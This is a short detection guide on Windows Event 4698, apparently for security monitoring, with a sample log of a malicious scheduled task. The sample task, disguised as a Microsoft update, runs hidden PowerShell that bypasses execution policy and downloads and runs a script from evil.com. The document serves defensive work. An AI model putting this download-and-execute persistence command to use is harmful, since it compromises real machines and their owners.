Track Windows Event 4698 to detect malicious scheduled tasks. Attackers use scheduled tasks for persistence, privilege escalation, and lateral movement in compromised environments.
A scheduled task was created.
Subject:
Security ID: S-1-5-21-3398...-1103
Account Name: jsmith
Account Domain: CONTOSO
Logon ID: 0x1A2B3C
Task Information:
Task Name: \Microsoft\Windows\SystemUpdate
Task Content: <?xml version="1.0"?>
<Task><Actions><Exec>
<Command>powershell.exe</Command>
<Arguments>-ep bypass -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')</Arguments>
</Exec></Actions></Task>